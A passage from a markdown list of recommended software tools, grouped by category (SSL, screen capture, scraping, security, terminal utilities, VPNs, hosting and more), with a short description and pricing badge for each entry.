190 million websites. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/go-acme/lego) - [mkcert](https://github.com/FiloSottile/mkcert) - A simple zero-config tool to make locally trusted development certificates with any names you'd like - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [neverssl](http://neverssl.com) - This website is for when you try to open Facebook, Google, Amazon, etc on a wifi network, and nothing happens. - [ssl test](https://www.ssllabs.com/ssltest/analyze.html) - This free online service performs a deep analysis of the configuration of any SSL web server on the public Internet - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [testssl.sh](https://github.com/drwetter/testssl.sh) - Testing TLS/SSL encryption anywhere on any port - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Spectre / Meltdown - [Spectre-meltdown-checker](https://github.com/speed47/spectre-meltdown-checker) - Spectre, Meltdown, Foreshadow, Fallout, RIDL, ZombieLoad vulnerability/mitigation checker for Linux & BSD - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Screencast / Screenshots _One image = 1000 words_ - [annotate-capture-screenshot](https://apps.apple.com/us/app/annotate-capture-screenshot/id918207447?mt=12) - Annotate (formerly know as Glui) is the simplest way to capture, annotate and share screenshots on macOS. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [asciinema](https://asciinema.org/) - Record and share your terminal sessions, the right way. → "Shellcast" - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/asciinema/asciinema) - [Kap](https://github.com/wulkano/kap) - Screen recorder built with web technology - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [keycastr](https://github.com/keycastr/keycastr) - macOS keystroke visualizer - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Licecap](https://www.cockos.com/licecap/) - Do a simple screencast in gif format - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/justinfrankel/licecap) - [peek](https://github.com/phw/peek) - Simple animated GIF screen recorder with an easy to use interface - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/phw/peek) - [pop](https://pop.com/) - Screen sharing, multiplayer control, voice and high-quality video. Perfect for pair programming. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Printimage](https://justine.lol/printimage.html) - Displays image in the terminal - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [screencast-o-matic](https://screencast-o-matic.com/) - Helps to easily create, edit and communicate with videos and images - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [screenFetch](https://github.com/KittyKatt/screenFetch) - Fetches system/theme information in terminal for Linux desktop screenshots. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/KittyKatt/screenFetch) - [ScreenshotFramer](https://github.com/IdeasOnCanvas/ScreenshotFramer) - Create localized App Store screenshots - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [shareit](https://shareit.video/) - Share screen recordings instantly - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [terminalizer](https://github.com/faressoft/terminalizer) - Record your terminal and generate animated gif images or share a web player - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [termtosvg](https://github.com/nbedos/termtosvg) - Record terminal sessions as SVG animations - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Scrapping / Parsing - [BeautifulSoup](https://www.crummy.com/software/BeautifulSoup/bs4/doc/) - Python library for pulling data out of HTML and XML files. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [G-Map Extractor](https://r2media.in/google-map-data-extractor-chrome-extension) - Captures contact information such as business name, address, phone number, website address, zip code information from Google maps. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [huginn](https://github.com/huginn/huginn) - Create agents that monitor and act on your behalf on the web. Your agents are standing by! - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [LXML](https://lxml.de/) - Lxml is the most feature-rich and easy-to-use library for processing XML and HTML in the Python language. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/lxml/lxml) - [Scrapy](https://doc.scrapy.org/en/latest/intro/overview.html) - Application framework for crawling web sites and extracting structured data - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/scrapy/scrapy) - [WHOIS parser](https://github.com/weppos/whois) - An intelligent — pure Ruby — WHOIS client and parser - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Security / Cracking - [allstar](https://github.com/ossf/allstar) - GitHub App installed on organizations or repositories to set and enforce security policies - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [canary](https://canary.tools/) - Notifies on detected intrusion, also exists as [tokens](https://canarytokens.org/generate)- [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [cfssl](https://github.com/cloudflare/cfssl) - CFSSL is CloudFlare's PKI/TLS swiss army knife. It is both a command line tool and an HTTP API server for signing, verifying, and bundling TLS certificates. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [crowdsec](https://github.com/crowdsecurity/crowdsec/) - A modern behavior detection system, written in Go. It stacks on Fail2ban's philosophy, but uses Grok patterns & YAML grammar to analyse logs, a modern decoupled approach (detect here, remedy there) for Cloud/Containers/VM based infrastructures. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [crt.sh](https://github.com/snwlvl/crt.sh) - A shell script to grab subdomains and probe for working http and https servers. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Damn Vulnerable Web Application (DVWA)](http://www.dvwa.co.uk/) - PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [DocBleach](https://github.com/docbleach/DocBleach-Web) - DocBleach allows you to sanitize your Word, Excel, PowerPoint, PDF, ... documents. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [endlessh](https://github.com/skeeto/endlessh) - SSH tarpit that very slowly sends an endless, random SSH banner. It keeps SSH clients locked up for hours or even days at a time. The purpose is to put your real SSH server on another port and then let the script kiddies get stuck in this tarpit instead of bothering a real server. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [etcd](https://etcd.io/) - Key-value store for the most critical data of a distributed system (anyjything from simple web app to a Kubernetes cluster)- [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [HackTricks](https://book.hacktricks.xyz/) - Book by Carlos Polop with tricks and techniques he learnt from CTFs, real life apps, and reading researches and news. Includes pentest, wordpress security, ... - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [have i been pwned?](https://haveibeenpwned.com/) - Check if you have an account that has been compromised in a data breach - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [lgtm](https://lgtm.com/) - Continuous security analysis - [lulu](https://objective-see.com/products/lulu.html) - macOS firewall that aims to block unknown outgoing connections, unless explicitly approved by the user. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [lynis](https://github.com/CISOfy/lynis) - Security auditing tool for Linux, macOS, and UNIX-based systems. Assists with compliance testing (HIPAA/ISO27001/PCI DSS) and system hardening. Agentless, and installation optional. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [malwoverview](https://github.com/alexandreborges/malwoverview) - Simple tool to perform an initial and quick triage of malware samples, URLs and hashes. - [![](https://img.shields.io/badge/pricing-open--source-green)](#)s - [nexfil](https://github.com/thewhiteh4t/nexfil) - OSINT tool written in python for finding profiles by username. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [No more ransom](https://www.nomoreransom.org/en/index.html) - Helps unlocking ransomware infected files - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [openxpki](https://www.openxpki.org/) - OpenXPKI is an enterprise-grade PKI/Trustcenter software. It implements the necessary features to operate a PKI in professional environments. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [owasp - vulnerable web applications directory](https://owasp.org/www-project-vulnerable-web-applications-directory/) - comprehensive and well maintained registry of all known vulnerable web applications currently available. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [pwnadventure](https://www.pwnadventure.com/) - Game that is intentionally flawed to look for security issues (CTF). - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Ransomware - Map of US ransomware attacks](https://www.comparitech.com/ransomware-attack-map/) - Pinpoints the locations of each ransomware attack in the US, from 2018 to present day. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [ransomwhere](https://objective-see.com/products/ransomwhere.html) - Utility with a simple goal; generically thwart OS X ransomware - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Redact](https://redact.dev/) - Delete your digital footprint. The only platform that allows you to automatically clean up your old posts from services like Twitter, Reddit, Facebook, Discord and more all in one place. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Snort](https://www.snort.org/) - A lightweight network intrusion detection system (NIDS) software for Linux and Windows to detect emerging threats. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [sploitus](https://sploitus.com/) - List of exploits - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [sqreen](https://www.sqreen.com/) - Application security platform that helps teams protect applications, increase visibility and secure code. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [stegcloak](https://github.com/KuroLabs/stegcloak) - Steganography module to hide secrets inside text by compressing and encrypting the secret before cloaking it with special unicode invisible characters. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [stronghold](https://github.com/alichtman/stronghold) - The easiest way to securely configure your Mac. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Suricata](https://suricata-ids.org/) - Real time intrusion detection (IDS), inline intrusion prevention (IPS), network security monitoring (NSM) and offline pcap processing - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [the-bastion](https://github.com/ovh/the-bastion) - Bastions are a cluster of machines used as the unique entry point by operational teams (such as sysadmins, developers, database admins, ...) to securely connect to devices (servers, virtual machines, cloud instances, network equipment, ...), usually using ssh. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Try Hack Me](https://tryhackme.com/hacktivities) - Interactive exercises based on real world scenarios, from hacking machines to investigating attacks, we've got you covered. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [virus total](https://www.virustotal.com/gui/home) - Analyze suspicious files and URLs to detect types of malware, automatically share them with the security community - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [vuls.io](https://vuls.io/) - Agentless Vulnerability Scanner for Linux/FreeBSD - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Zoneminder](https://www.zoneminder.com/) - State-of-the-art video surveillance software system. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/ZoneMinder/ZoneMinder/) - [Zydra](https://github.com/hamedA2/Zydra) - File password recovery tool (pdf, rar, zip) and Linux shadow file cracker. It uses the dictionary search or Brute force method for cracking passwords. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Password Manager - [Buttercup](https://buttercup.pw/) - Cross-platform, free and open-source password manager based on NodeJS. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Keepassxc](https://keepassxc.org/) - Cross-platform community fork of KeePassX. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/keepassxreboot/keepassxc) - [Keeweb](https://keeweb.info/) - Cross-platform password manager compatible with KeePass - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/keeweb/keeweb) - [lesspass](https://lesspass.com/#/) - Stateless Password Manager. Stop wasting your time synchronizing your encrypted vault. Remember one master password to access your passwords, anywhere, anytime, from any device. No sync needed. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Passbolt](https://www.passbolt.com/) - Open source password manager for teams. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Password store](https://www.passwordstore.org/) - Standard unix password manager - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Abusive IPs / Whois _Keep the h4xx0r5 out_ - [abuseipdb-cli](https://github.com/kristuff/abuseipdb-cli) - A CLI tool to check ✔️, report 🚩 IP address, download blacklist 🚫 with AbuseIPDB API v2 - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [abuseipdb](https://www.abuseipdb.com/) - Check the report history of any IP address to see if anyone else has reported malicious activities. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [ipwhois](https://github.com/secynic/ipwhois) - Retrieve and parse whois data for IPv4 and IPv6 addresses - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Server Management - [ISPconfig](https://www.ispconfig.org/) - Manage Your Servers Directly Through Your Browser - [![](https://img.shields.io/badge/pricing-free-yellow)](#) ## Shell / Terminal / Powershell / Command Line Interface (CLI) - [argbash](https://argbash.io/) - Makes Bash argument parsing easier - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/matejak/argbash) - [babun](https://babun.github.io/) - A windows shell you will love - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [bash-it](https://github.com/Bash-it/bash-it) - A community Bash framework. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [bat](https://github.com/sharkdp/bat) - A cat(1) clone with wings. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [cool-retro-term](https://github.com/Swordfish90/cool-retro-term) - A good looking terminal emulator which mimics the old cathode display. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [cygwin]() - Get that Linux feeling but on Windows - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/cygwin/cygwin) - [easyigloo](https://easyigloo.org/) - A powerful, context-oriented command-line interface which allows IT gurus to manage their Windows desktop and server machines with ease. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [exa](https://github.com/ogham/exa) - A modern version of ‘ls’. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [fig](https://fig.io/) - IDE-style autocomplete to your existing terminal. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [FinderGo](https://github.com/onmyway133/FinderGo) - Open terminal quickly from Finder (macOS) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [howdoi](https://github.com/gleitz/howdoi) - Instant coding answers via the command line - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [HTTPie](https://github.com/jakubroztocil/httpie/) - cURL-like tool for humans - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [hyper](https://github.com/zeit/hyper) - A terminal built on web technologies - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [lsix](https://github.com/hackerb9/lsix) - Like "ls", but for images. Shows thumbnails in terminal using sixel graphics. - [m-cli](https://github.com/rgcr/m-cli) - Swiss Army Knife for macOS - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Mac-CI](https://github.com/guarinogabriel/Mac-CLI) - The ultimate tool to manage your Mac. It provides a huge set of command line commands that automatize the usage of your OS X system. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [mobaxterm](https://mobaxterm.mobatek.net/) - Enhanced terminal for Windows with X11 server, tabbed SSH client, network tools and much more - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [mosh](https://mosh.org/#) - Mosh is a replacement for interactive SSH terminals. It's more robust and responsive, especially over Wi-Fi, cellular, and long-distance links. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [nanorc](https://github.com/scopatz/nanorc) - Improved Syntax Highlighting Files for the Nano text editor - - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [neofetch](https://github.com/dylanaraps/neofetch) - Command-line system information tool - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Oh-my-zsh](https://github.com/robbyrussell/oh-my-zsh) - Oh My Zsh will not make you a 10x developer...but you may feel like one.- [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/ohmyzsh/ohmyzsh) - [shell harden](https://github.com/anordal/shellharden) - A syntax highlighter and a tool to help do things safely in bash - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [simple curses](https://github.com/metal3d/bashsimplecurses) - "Bash simple curses" give you some basic functions to quickly create some windows on you terminal as Xterm, aterm, urxvt... - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [spaceship-prompt](https://github.com/denysdovhan/spaceship-prompt) - Zsh prompt for Astronauts - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [starship](https://github.com/starship/starship) - Minimal, blazing-fast, and infinitely customizable prompt for any shell! - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Tabby](https://github.com/Eugeny/tabby) - A terminal for a more modern age - - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Term Markdown viewer](https://github.com/axiros/terminal_markdown_viewer) - Read markdown in your terminal - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [the fuck](https://github.com/nvbn/thefuck) - Magnificent app which corrects your previous console command. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [tldr](https://github.com/tldr-pages/tldr) - Simplified and community-driven man pages - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [tmux](https://tmux.github.io/) - A terminal multiplexer. It lets you switch easily between several programs in one terminal - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [wego](https://github.com/schachmat/wego) - A weather client for the terminal - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [WindTerm](https://github.com/kingToolbox/WindTerm) - SSH/Telnet/Serial/Shell/Sftp client for DevOps. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [wifi-password](https://github.com/rauchg/wifi-password) - Get the password of the wifi you're on (bash) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [xxh](https://github.com/xxh/xxh) - Bring your favorite shell wherever you go through the ssh - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ### Oh-my-zsh Theme - agnoster - [powerlevel9k](https://github.com/bhilburn/powerlevel9k) ### Oh-my-zsh Plugins - colored-man-pages - git - [zsh-autosuggestions](https://github.com/zsh-users/zsh-autosuggestions) - zsh-syntax-highlighting ### Oh-my-zsh Aliases - [bat](https://github.com/sharkdp/bat) alternative to cat - [exa](https://github.com/ogham/exa) alternative to ls ## System utilities _Automate all the things! ... or at least try to make your life easier_ - [Aerial](https://github.com/JohnCoates/Aerial) - Apple TV Aerial Screensaver for macOS - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [alfredapp](https://www.alfredapp.com/) - Hotkeys, keywords, text expansion and more for macOS - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [anyshortcut](https://anyshortcut.com/) - Customize keyboard shortcuts for your frequently visited websites. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [Barrier](https://github.com/debauchee/barrier) - Crossplatform tool that allows to use one mouse and keyboard on several computers (emulates a KVM switch) - - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [dot-hammerspoon](https://github.com/zzamboni/dot-hammerspoon) - example of Hammerspoon configuration. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [dotfiles](https://github.com/orrsella/dotfiles) - A collection of miscellaneous .files ("dot" files) and some regular files for configuration - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [duf](https://github.com/muesli/duf) - Disk Usage/Free Utility (Linux, BSD, macOS & Windows) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [easy-file-organizer](https://qiplex.com/software/easy-file-organizer/) - Organize Files, Folders and Desktop easily! - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [hammerspoon-config](https://github.com/cmsj/hammerspoon-config/) - another example of Hammerspoon configuration. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [hammerspoon](https://github.com/Hammerspoon/hammerspoon) - macOS desktop automation - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [httpstat](https://github.com/reorx/httpstat) - httpstat visualizes curl(1) statistics in a way of beauty and clarity. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Jarvis](https://github.com/spectresystems/jarvis) - Jarvis is an Alfred alternative for Windows 10. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Karabiner](https://pqrs.org/osx/karabiner/) - An utility for keyboard customization on macOS Sierra - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/pqrs-org/Karabiner-Elements) - [kinto.sh](https://github.com/rbreaves/kinto) - Seamless copy and paste with all apps and terminals. The zero effort solution. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [modd](https://github.com/cortesi/modd) - Triggers commands and manages daemons in response to filesystem changes (Unix, macOS, Windows) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [OpenInTerminal](https://github.com/Ji4n1ng/OpenInTerminal) - Finder Toolbar app for macOS to open the current directory in Terminal, iTerm, Hyper or Alacritty - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [organize](https://github.com/tfeldmann/organize) - The file management automation tool - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [PowerToys](https://github.com/microsoft/PowerToys/) - Tune and streamline Windows (mouse finder, file renaming tool, ...) - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [procs](https://github.com/dalance/procs) - replacement for ps - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [sharemouse](https://www.sharemouse.com/) - Control multiple computers from a single mouse and keyboard - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [SlowQuitApps](https://github.com/dteoh/SlowQuitApps) - Add a global delay to Command-Q to stop accidental app quits. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [switch-manager](https://www.doyourdata.com/mac-manager/switch-manager.html) - Simply manage some macOS options from the menu bar - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Total Commander](https://www.ghisler.com/index.htm) - File manager for Windows - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [trash](https://github.com/sindresorhus/trash) - Move files and directories to the trash - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [typinator](https://www.ergonis.com/products/typinator/) - "types" frequently used text for you (on macOS) - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [uebersicht](https://github.com/felixhageloh/uebersicht) - Keep an eye on what's happening on your machine and in the world. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [vimacapp](https://vimacapp.com/) - Revolutionizes the way you navigate macOS - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Text Expanders - [atext](https://trankynam.com/atext/) - aText accelerates your typing in any application by replacing abbreviations with frequently used phrases you define. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [AutoHotkey_L](https://github.com/Lexikos/AutoHotkey_L) - Macro-creation and automation-oriented scripting utility for Windows. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [espanso "GUI" alternative to forms](https://gist.github.com/atika/dc2de3f8813d9919485761347b200d61) - For the time being, espanso does not come with a graphical user interface, in the meanwhile you can use this workaround to prompt for text or select result in a list, on macOS. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [espanso](https://github.com/federico-terzi/espanso) - Cross-platform Text Expander - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [textexpander](https://textexpander.com/) - insert snippet of text from a repository of emails, boilerplate and other content, as you type – using a quick search or abbreviation. - [![](https://img.shields.io/badge/pricing-commercial-orangme)](#) ## Templates / Dashboards / Tool overview / Bookmarks / Internal Tools - [Admin LTE](https://github.com/almasaeed2010/AdminLTE) - [Angular analytics](http://angular-material.fusetheme.com/apps/dashboards/analytics) - [appsmith](https://github.com/appsmithorg/appsmith) - Visual development platform to build and launch internal tools quickly. Drag-and-drop pre-built widgets, and connect them using JavaScript to create interactive pages. Connect UI to your APIs and Databases to build complex workflows in minutes. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [backstage](https://github.com/spotify/backstage) - Backstage is an open platform for building developer portals made by spotify - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Bootstrap admin templates](https://github.com/coreui/coreui-free-bootstrap-admin-template) - [Budibase](https://github.com/Budibase/budibase) - Low-code platform to build internal tools. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [coreui admin template](https://github.com/coreui/coreui-free-bootstrap-admin-template) - [dashing](https://github.com/HippyScript/dashing) - A simple home server dashboard - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [DashMachine](https://github.com/rmountjoy92/DashMachine) - Another web application bookmark dashboard, with fun features. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [golinks.io](https://www.golinks.io/) - Intuitive, secure, go links, shared by teams. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) - [golinks](https://github.com/taliamax/golinks) - A personal 'golink' redirect service using nginx and docker - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Heimdall](https://github.com/linuxserver/Heimdall) - Application dashboard and launcher - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Ngx-admin](https://github.com/akveo/ngx-admin) - [Organizr](https://github.com/causefx/Organizr) - Homelab Services Organizer - Written in PHP - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Simplefolio](https://github.com/cobidev/simplefolio) - A minimal portfolio template for Developers - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [Sufee admin dashboard](https://github.com/puikinsh/sufee-admin-dashboard) ## Translations _Фэсапщы Elu הלו Güata Tàg السلام عليكم Cześć নমস্কাৰ Kasalehlie მარშიხ Aloha ვალ Haluu 你好 Γειά! Halito 今日は ជំរាបសួរ Kamusta 안녕하십니까 ສະບາຍດີ გეგაჯგინას Здраво_ - [Deepl](https://deepl.com/) - (The best) machine translation service. - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [glosbe](https://glosbe.com/) - Multilingual online dictionary - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [libretranslate](https://libretranslate.com/) - Machine Translation API - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [textmaster](https://eu.textmaster.com/translation-web-content-pricing/) - Paid proofreading and translation service. - [![](https://img.shields.io/badge/pricing-commercial-orange)](#) ## User Management (LDAP / Radius / SSO / OpenID Connect / OAuth / SAML / ... ) - [free ipa](https://www.freeipa.org/page/Main_Page) - Manage Linux users and client hosts in your realm from one central location with CLI, Web UI or RPC access. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://pagure.io/freeipa/issues) - [free radius](http://freeradius.org/) - Open source implementation of RADIUS, an IETF protocol for AAA (Authorisation, Authentication, and Accounting). - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/FreeRADIUS/freeradius-server) - [key cloak](https://www.keycloak.org/) - Identity and Access Management - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/keycloak/keycloak) ## Useful Software ### Mac - App Cleaner - [bat](https://github.com/sharkdp/bat) - [bpytop](https://github.com/aristocratos/bpytop) - `htop` clone - Grand Perspective - [Balena Etcher](https://www.balena.io/etcher/) - Flash OS images to SD cards & USB drives, safely and easily. - [exa](https://github.com/ogham/exa) - [MonitorControl](https://github.com/MonitorControl/MonitorControl) - Control your external monitor brightness, contrast or volume directly from a menulet or with keyboard native keys. - [nightowl](https://nightowl.kramser.xyz/) - Switch between light and dark mode - [multi](https://github.com/kofigumbs/multi) - Create a custom, lightweight macOS app from a group of websites. - [latest](https://github.com/mangerlahn/latest) - Keka - Oh My ZSH - [organize](https://github.com/tfeldmann/organize) - Rambox - [Does It ARM?](https://doesitarm.com/) ### Linux - bat - grepcidr - ipcalc - iperf - lnav - mtr - [popsicle](https://github.com/pop-os/popsicle) - Multiple USB File Flasher ### Windows - Windirstat - Total Commander - [Files](https://github.com/files-community/Files) - [Rufus](https://rufus.ie/) - Create bootable USB drives the easy way ## VPN - [nebula](https://github.com/slackhq/nebula) - Scalable overlay networking tool with a focus on performance, simplicity and security. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [netmaker](https://github.com/gravitl/netmaker/) - Netmaker makes networks with WireGuard. Netmaker automates fast, secure, and distributed virtual networks. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [subspace](https://github.com/subspacecloud/subspace) - simple WireGuard VPN server GUI - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [tailscale](https://tailscale.com/) - Connect all your devices using WireGuard, - [wg-gen-web](https://github.com/vx3r/wg-gen-web) - Simple Web based configuration generator for WireGuard - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [wireguard](https://www.wireguard.com/) - Fast, Modern, Secure VPN Tunnel - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [zerotier](https://www.zerotier.com/) - Combines the capabilities of VPN and SD-WAN, simplifying network management - [![](https://img.shields.io/badge/pricing-open--source-green)](#) without the hassle. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Voice / Home Assistant _Ok Siri_ - [gladysassistant](https://gladysassistant.com/en/) - Home assistant - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [home-assistant](https://www.home-assistant.io/) - Home automation that puts local control and privacy first. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [jarvis](https://github.com/alexylem/jarvis) - Jarvis.sh is a simple configurable multi-lang assistant - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [picovoice](https://picovoice.ai/) - Create context-aware voice products. Platform for adding voice to anything - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [replicastudios](https://replicastudios.com/) - Create naturally expressive voice overs and performances with a Replica Voice. ## Webservers - [h5ai](https://larsjung.de/h5ai/) - A file indexer for HTTP web servers with focus on your files. Directories are displayed in a appealing way and browsing them is enhanced by different views, a breadcrumb and a tree overview. - [![](https://img.shields.io/badge/pricing-open--source-green)](#) - [NGINX Config](https://www.digitalocean.com/community/tools/nginx) - The easiest way to configure a performant, secure, and stable NGINX server. - [![](https://img.shields.io/badge/pricing-open--source-green)](https://github.com/digitalocean/nginxconfig.io) - [puphpet](https://puphpet.com/#create) - Simplify deployment through vagrant for nginx / apache / mySQL / ... - [![](https://img.shields.io/badge/pricing-open--source-green)](#) ## Website Hosting (Free) - [alwaysdata](https://www.alwaysdata.com/en/) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [atspace](https://www.atspace.com/?aid=MTkyNDE4MTgyNDIyMjM%3D) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [awardspace](https://www.awardspace.com/free-hosting/) - [![](https://img.shields.io/badge/pricing-free-yellow)](#) - [Github 